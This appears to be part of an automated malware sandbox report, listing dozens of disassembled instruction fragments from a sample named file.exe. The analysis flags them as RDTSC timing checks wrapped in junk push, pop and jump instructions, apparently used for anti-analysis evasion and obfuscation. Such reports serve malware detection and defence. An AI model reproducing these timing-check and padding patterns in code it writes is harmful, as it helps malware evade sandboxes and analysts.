Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121930D second address: 1219317 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE620F50F8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121946C second address: 1219470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219C14 second address: 1219C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219F69 second address: 1219F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219F6F second address: 1219F94 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FE620F50F8Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FE620F50F8Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219F94 second address: 1219F9A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A526 second address: 121A52A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A7EC second address: 121A7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A7F0 second address: 121A7F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A7F5 second address: 121A7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A7FB second address: 121A801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AADA second address: 121AAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FE620D482E6h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B088 second address: 121B092 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE620F50F8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D71F second address: 121D72B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE620D482D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D72B second address: 121D730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D730 second address: 121D73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220DEB second address: 1220DFE instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE620F50F86h 0x00000008 jnp 00007FE620F50F86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220DFE second address: 1220E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DC7E second address: 122DC9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FE620F50F88h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DC9C second address: 122DCA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DCA1 second address: 122DCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DCA7 second address: 122DCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E0AB second address: 122E0BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FE620F50F86h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E37F second address: 122E38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E64C second address: 122E655 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F12F second address: 122F134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F134 second address: 122F164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jng 00007FE620F50F86h 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FE620F50F8Fh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F164 second address: 122F16A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F16A second address: 122F16E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12350BD second address: 12350D8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE620D482D6h 0x00000008 jnl 00007FE620D482D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 jnc 00007FE620D482FFh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12350D8 second address: 12350DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12350DE second address: 12350E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241A28 second address: 1241A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE620F50F96h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241A47 second address: 1241A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241A4D second address: 1241A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE620F50F8Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255457 second address: 1255461 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE620D482D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12552F0 second address: 12552F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12552F5 second address: 1255301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE620D482D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D8C3 second address: 125D8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D8D0 second address: 125D8F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DBh 0x00000007 jg 00007FE620D482D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FE620D482DFh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125DA34 second address: 125DA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F98h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125DD31 second address: 125DD3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FE620D482D6h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125DD3F second address: 125DD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263D61 second address: 1263D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263D68 second address: 1263D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267F40 second address: 1267F54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DDh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127588F second address: 12758A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F8Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12758A2 second address: 12758A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277D62 second address: 1277D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277C06 second address: 1277C0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277C0A second address: 1277C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FE620F50F86h 0x0000000e jns 00007FE620F50F86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284088 second address: 1284098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284098 second address: 12840BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FE620F50F8Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299B25 second address: 1299B3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299C84 second address: 1299C88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299C88 second address: 1299C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299E5E second address: 1299E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299E62 second address: 1299E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FE620D482D8h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299E76 second address: 1299E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE620F50F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299FDA second address: 129A01D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FE620D482D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007FE620D482E1h 0x00000018 jmp 00007FE620D482DCh 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jo 00007FE620D482DCh 0x00000027 jbe 00007FE620D482D6h 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A01D second address: 129A022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A022 second address: 129A038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE620D482DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A038 second address: 129A03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A03C second address: 129A040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A074D second address: 12A0751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A097F second address: 12A0983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0983 second address: 12A0989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A3580 second address: 12A3584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A3584 second address: 12A3594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FE620F50F86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A3594 second address: 12A35AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FE620D482D6h 0x0000000e jmp 00007FE620D482DAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A565B second address: 12A565F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B790B second address: 11B793A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE620D482DCh 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jp 00007FE620D482D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B793A second address: 11B7943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0292 second address: 4EC0300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE620D482DFh 0x00000009 sub ax, F67Eh 0x0000000e jmp 00007FE620D482E9h 0x00000013 popfd 0x00000014 mov ax, 20C7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FE620D482DFh 0x00000025 xor cl, FFFFFF8Eh 0x00000028 jmp 00007FE620D482E9h 0x0000002d popfd 0x0000002e mov bx, cx 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0300 second address: 4EC0354 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dl, 07h 0x0000000d movzx esi, dx 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007FE620F50F97h 0x0000001b and cx, 6BFEh 0x00000020 jmp 00007FE620F50F99h 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03EF second address: 4EC03FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03FE second address: 4EC0424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 jmp 00007FE620F50F90h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ebx, 209ABFC0h 0x00000017 mov si, dx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE05C5 second address: 4EE05F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE620D482DEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE05F7 second address: 4EE05FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE05FF second address: 4EE0615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620D482E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0615 second address: 4EE0619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE06E5 second address: 4EE0731 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, A977h 0x00000007 mov ebx, eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea eax, dword ptr [ebp-04h] 0x0000000f pushad 0x00000010 movzx ecx, di 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007FE620D482E7h 0x0000001b add si, 84AEh 0x00000020 jmp 00007FE620D482E9h 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0731 second address: 4EE0766 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE620F50F90h 0x00000008 xor ecx, 506D4E28h 0x0000000e jmp 00007FE620F50F8Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 nop 0x00000018 pushad 0x00000019 mov ecx, 0B68C63Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 mov si, F8EDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0766 second address: 4EE076A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE076A second address: 4EE0781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov ecx, edi 0x0000000b pushad 0x0000000c push edi 0x0000000d pop eax 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0781 second address: 4EE079C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE079C second address: 4EE07A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE07A2 second address: 4EE07A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0844 second address: 4EE087B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE620F50F8Bh 0x00000014 jmp 00007FE620F50F93h 0x00000019 popfd 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE087B second address: 4EE08AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FE620D482E6h 0x0000000f leave 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE08AC second address: 4EE08C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE08C9 second address: 4EE002C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FE620D482D7h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FE624C545B1h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 call 00007FE620D482DBh 0x0000003c pop esi 0x0000003d call 00007FE620D482E9h 0x00000042 pop eax 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE002C second address: 4EE0032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0032 second address: 4EE0036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0036 second address: 4EE0046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
